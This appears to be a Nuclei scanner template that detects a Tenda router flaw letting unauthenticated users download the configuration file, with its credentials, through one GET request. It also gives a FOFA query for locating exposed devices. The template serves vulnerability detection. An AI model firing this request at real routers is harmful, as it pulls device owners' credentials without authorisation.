id: tenda-credential-disclosure

info:
  name: Tenda Router - Credential Disclosure
  author: pussycat0x
  severity: high
  description: |
    Tenda router allows unauthenticated users to download the configuration file containing sensitive credentials via the /cgi-bin/DownloadCfg/RouterCfm.jpg endpoint.
  reference:
    - https://github.com/wy876/POC/blob/main/Tenda%E8%B7%AF%E7%94%B1%E5%99%A8%E8%B4%A6%E5%8F%B7%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2.md
  classification:
    cpe: cpe:2.3:h:tendacn:g0:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: tendacn
    product: g0
    fofa-query: "title=\"Tenda | LOGIN\" && country=\"CN\""
  tags: tenda,exposure,config,iot,router,discovery

http:
  - raw:
      - |
        GET /cgi-bin/DownloadCfg/RouterCfm.jpg HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "http_username", "device_remark")'
          - 'contains(header, "config/conf")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402201376bd4ed1423e24abe093fb4ac803ca11db8fa4518f0d76d35c6821f26b609002207464e8a7ca1dec4860b66d879075897dcedf2d63b6818efd0b0383777328f935:922c64590222798bb761d5b6d8e72950